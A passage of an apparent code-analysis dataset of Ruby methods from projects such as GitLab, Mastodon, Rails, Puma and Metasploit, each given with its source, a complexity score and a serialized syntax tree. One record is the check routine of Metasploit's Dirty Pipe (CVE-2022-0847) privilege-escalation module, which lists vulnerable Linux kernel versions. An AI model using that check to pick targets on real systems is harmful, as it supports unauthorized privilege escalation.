end","complexity_score":33.8,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_call_node\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"require\"]},{\"type\":\"case_match\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments\"]},\"arguments\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"const_pattern\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Prism\"]},\"StringNode\"]},{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"match_var\",\"children\":[\"unescaped\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_loads\"]},\"call\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"requires\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"unescaped\"]}]}]},{\"type\":\"empty_else\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"autoload\"]},{\"type\":\"case_match\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments\"]},\"arguments\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"array_pattern\",\"children\":[{\"type\":\"const_pattern\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Prism\"]},\"SymbolNode\"]},{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"match_var\",\"children\":[\"unescaped\"]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"namespaced_const\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@namespace_stack\"]},\"join\",{\"type\":\"str\",\"children\":[\"::\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespaced_const\"]},\"<<\",{\"type\":\"str\",\"children\":[\"::\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"unescaped\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_loads\"]},\"call\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"autoloads\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespaced_const\"]},\"underscore\"]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"array_pattern\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Prism\"]},\"SymbolNode\"]},{\"type\":\"const_pattern\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Prism\"]},\"StringNode\"]},{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"match_var\",\"children\":[\"unescaped\"]}]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_loads\"]},\"call\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"autoloads\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"unescaped\"]}]}]},null]}]},null]}]}","id":"45e9cc5e-e470-41dd-a142-d2d37e847f95"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/graphql_helpers.rb","start_line":4,"raw_source":"def self.included(base)\n    base.include(::ApiHelpers)\n    base.include(::Gitlab::Graphql::Laziness)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ApiHelpers\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Graphql\"]},\"Laziness\"]}]}]}]}","id":"1b631937-8ef1-48e8-a7bb-e43357e3e291"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/activity_pub/collection_serializer.rb","start_line":59,"raw_source":"def collection_url(page = nil)\n      uri = URI.parse(paginator.request.url)\n      uri.query ||= \"\"\n      parts = uri.query.split('&').reject { |part| part =~ /^page=/ }\n      parts << \"page=#{page}\" if page\n      uri.query = parts.join('&')\n      uri.to_s.sub(/\\?$/, '')\n    end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"collection_url\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"page\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"paginator\"]},\"request\"]},\"url\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"query\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"query\"]},\"split\",{\"type\":\"str\",\"children\":[\"&\"]}]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"part\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^page=\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"page=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"query=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"join\",{\"type\":\"str\",\"children\":[\"&\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"to_s\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\?$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"fd639efb-dc37-4ae6-ad53-cd7072a6261f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v2/filters/statuses_controller.rb","start_line":32,"raw_source":"def set_status_filters\n    filter = current_account.custom_filters.includes(:statuses).find(params[:filter_id])\n    @status_filters = filter.statuses\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_status_filters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"custom_filters\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"statuses\"]}]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filter_id\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@status_filters\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"statuses\"]}]}]}]}","id":"7e6a5b9b-b629-4e62-9ffa-54481b1dff19"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/controllers/storages/admin/storages_controller.rb","start_line":178,"raw_source":"def confirm_destroy\n        respond_with_dialog Storages::DestroyConfirmationDialogComponent.new(storage: @storage)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"confirm_destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"respond_with_dialog\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storages\"]},\"DestroyConfirmationDialogComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"ivar\",\"children\":[\"@storage\"]}]}]}]}]}]}","id":"99d2bfe1-4408-49a8-b9df-b93682e9e1b2"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/custom_actions_mixin.rb","start_line":36,"raw_source":"def custom_buttons\n    generic_custom_buttons.includes(:custom_button_sets)\n                          .select { |b| b.custom_button_sets.blank? } + direct_custom_buttons\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_buttons\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generic_custom_buttons\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"custom_button_sets\"]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"custom_button_sets\"]},\"blank?\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"direct_custom_buttons\"]}]}]}","id":"093e3462-990a-4bf2-9594-daa13b5b4523"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/notifier.rb","start_line":180,"raw_source":"def expand_direct_mentions(to_notify, inaccessible, already_covered_ids, skip)\n      if skip\n        direct_mentions = []\n      else\n        direct_mentions =\n          @parsed_mentions\n            .direct_mentions\n            .not_suspended\n            .where.not(username_lower: @user.username_lower)\n            .where.not(id: already_covered_ids)\n      end\n\n      grouped = group_users_to_notify(direct_mentions)\n\n      to_notify[:direct_mentions] = grouped[:members].map(&:id)\n      inaccessible[:welcome_to_join] = grouped[:welcome_to_join]\n      inaccessible[:unreachable] = grouped[:unreachable]\n      already_covered_ids.concat(to_notify[:direct_mentions])\n    end","complexity_score":27.1,"ast_json":"{\"type\":\"def\",\"children\":[\"expand_direct_mentions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"to_notify\"]},{\"type\":\"arg\",\"children\":[\"inaccessible\"]},{\"type\":\"arg\",\"children\":[\"already_covered_ids\"]},{\"type\":\"arg\",\"children\":[\"skip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip\"]},{\"type\":\"lvasgn\",\"children\":[\"direct_mentions\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"direct_mentions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parsed_mentions\"]},\"direct_mentions\"]},\"not_suspended\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username_lower\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"username_lower\"]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"already_covered_ids\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"grouped\",{\"type\":\"send\",\"children\":[null,\"group_users_to_notify\",{\"type\":\"lvar\",\"children\":[\"direct_mentions\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_notify\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"direct_mentions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grouped\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"members\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inaccessible\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"welcome_to_join\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grouped\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"welcome_to_join\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inaccessible\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"unreachable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grouped\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"unreachable\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"already_covered_ids\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_notify\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"direct_mentions\"]}]}]}]}]}","id":"99a570f1-f4aa-4059-8dfa-30236847ab12"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":1041,"raw_source":"def test_bun_option_with_js_argument\n    run_generator [destination_root, \"--js\", \"bun\"]\n    assert_gem \"jsbundling-rails\"\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_bun_option_with_js_argument\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"--js\"]},{\"type\":\"str\",\"children\":[\"bun\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_gem\",{\"type\":\"str\",\"children\":[\"jsbundling-rails\"]}]}]}]}","id":"7bae9ff6-3a82-4a5b-b902-d0bca4c0bfc5"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":591,"raw_source":"def platform\n    name = OperatingSystem.platform(self)\n    if name == 'unknown'\n      parent = genealogy_parent\n      name = OperatingSystem.platform(parent) unless parent.nil?\n    end\n    name\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"platform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OperatingSystem\"]},\"platform\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"unknown\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent\",{\"type\":\"send\",\"children\":[null,\"genealogy_parent\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"nil?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OperatingSystem\"]},\"platform\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"cd0908c5-3291-41d6-96a0-8174ce231856"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/subscribable.rb","start_line":113,"raw_source":"def find_or_initialize_subscription(user, project)\n    BatchLoader::Executor.clear_current\n\n    subscriptions\n      .find_or_initialize_by(user_id: user.id, project_id: project.try(:id))\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_initialize_subscription\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BatchLoader\"]},\"Executor\"]},\"clear_current\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscriptions\"]},\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"try\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]}","id":"6990c483-6cec-4dae-8b18-87159fd7b963"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/cve_2022_0847_dirtypipe.rb","start_line":82,"raw_source":"def check\n    arch = kernel_arch\n    unless live_compile? || arch.include?('x64') || arch.include?('aarch64') || arch.include?('x86') || arch.include?('armle')\n      return CheckCode::Safe(\"System architecture #{arch} is not supported without live compilation\")\n    end\n\n    kernel_version = Rex::Version.new kernel_release.split('-').first\n    if kernel_version < Rex::Version.new('5.8') ||\n       kernel_version >= Rex::Version.new('5.16.11') ||\n       (kernel_version >= Rex::Version.new('5.15.25') && kernel_version < Rex::Version.new('5.16')) ||\n       (kernel_version >= Rex::Version.new('5.10.102') && kernel_version < Rex::Version.new('5.11'))\n      return CheckCode::Safe(\"Linux kernel version #{kernel_version} is not vulnerable\")\n    end\n\n    CheckCode::Appears(\"Linux kernel version found: #{kernel_version}\")\n  end","complexity_score":47.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arch\",{\"type\":\"send\",\"children\":[null,\"kernel_arch\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"live_compile?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"include?\",{\"type\":\"str\",\"children\":[\"x64\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"include?\",{\"type\":\"str\",\"children\":[\"aarch64\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"include?\",{\"type\":\"str\",\"children\":[\"x86\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"include?\",{\"type\":\"str\",\"children\":[\"armle\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"System architecture \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]}]},{\"type\":\"str\",\"children\":[\" is not supported without live compilation\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"kernel_version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kernel_release\"]},\"split\",{\"type\":\"str\",\"children\":[\"-\"]}]},\"first\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kernel_version\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"5.8\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kernel_version\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"5.16.11\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kernel_version\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"5.15.25\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kernel_version\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"5.16\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kernel_version\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"5.10.102\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kernel_version\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"5.11\"]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux kernel version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kernel_version\"]}]},{\"type\":\"str\",\"children\":[\" is not vulnerable\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux kernel version found: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kernel_version\"]}]}]}]}]}]}","id":"0dedcb40-af50-40a0-baa2-5966c940bb87"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/messages_controller.rb","start_line":160,"raw_source":"def update_message(message)\n    Messages::UpdateService\n      .new(user: current_user,\n           model: message)\n      .call(permitted_params.message(@project)\n            .merge(attachment_params))\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Messages\"]},\"UpdateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"message\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"attachment_params\"]}]}]}]}","id":"acfb497b-c4a3-4a4b-95f0-cc7a47da0e5a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/besecure.rb","start_line":325,"raw_source":"def initialize(framework, opts)\n      super\n      add_console_dispatcher(BeSECURECommandDispatcher)\n      print_status('Welcome to beSECURE integration by Noam Rathaus.')\n      print_status\n      print_status('beSECURE integration requires a database connection. Once the ')\n      print_status('database is ready, connect to the beSECURE server using besecure_connect.')\n      print_status('For additional commands use besecure_help.')\n      print_status\n\n      @debug = nil\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"framework\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_console_dispatcher\",{\"type\":\"const\",\"children\":[null,\"BeSECURECommandDispatcher\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Welcome to beSECURE integration by Noam Rathaus.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"beSECURE integration requires a database connection. Once the \"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"database is ready, connect to the beSECURE server using besecure_connect.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"For additional commands use besecure_help.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\"]},{\"type\":\"ivasgn\",\"children\":[\"@debug\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"59385eb4-b409-456d-9b66-ae65527df974"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_puma_server_ssl.rb","start_line":545,"raw_source":"def cert_chain(&blk)\n    app = lambda { |env| [200, {}, [env['rack.url_scheme']]] }\n\n    @log_stdout = StringIO.new\n    @log_stderr = StringIO.new\n    @log_writer = SSLLogWriterHelper.new @log_stdout, @log_stderr\n    @server = Puma::Server.new app, nil, {log_writer: @log_writer}\n\n    mini_ctx = Puma::MiniSSL::Context.new\n    mini_ctx.key  = \"#{CHAIN_DIR}/cert.key\"\n    yield mini_ctx\n\n    @bind_port = (@server.add_ssl_listener HOST, 0, mini_ctx).addr[1]\n    @server.run\n\n    socket = new_socket ctx: new_ctx\n\n    subj_chain = socket.peer_cert_chain.map(&:subject)\n    subj_map = USE_TO_UTFT8 ?\n      subj_chain.map { |subj| subj.to_utf8[/CN=(.+ - )?([^,]+)/,2] } :\n      subj_chain.map { |subj| subj.to_s(OpenSSL::X509::Name::RFC2253)[/CN=(.+ - )?([^,]+)/,2] }\n\n    @server&.stop true\n\n    assert_equal ['test.puma.localhost', 'intermediate.puma.localhost', 'ca.puma.localhost'], subj_map\n  end","complexity_score":44.18,"ast_json":"{\"type\":\"def\",\"children\":[\"cert_chain\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"app\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rack.url_scheme\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@log_stdout\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@log_stderr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@log_writer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SSLLogWriterHelper\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@log_stdout\"]},{\"type\":\"ivar\",\"children\":[\"@log_stderr\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@server\",{\"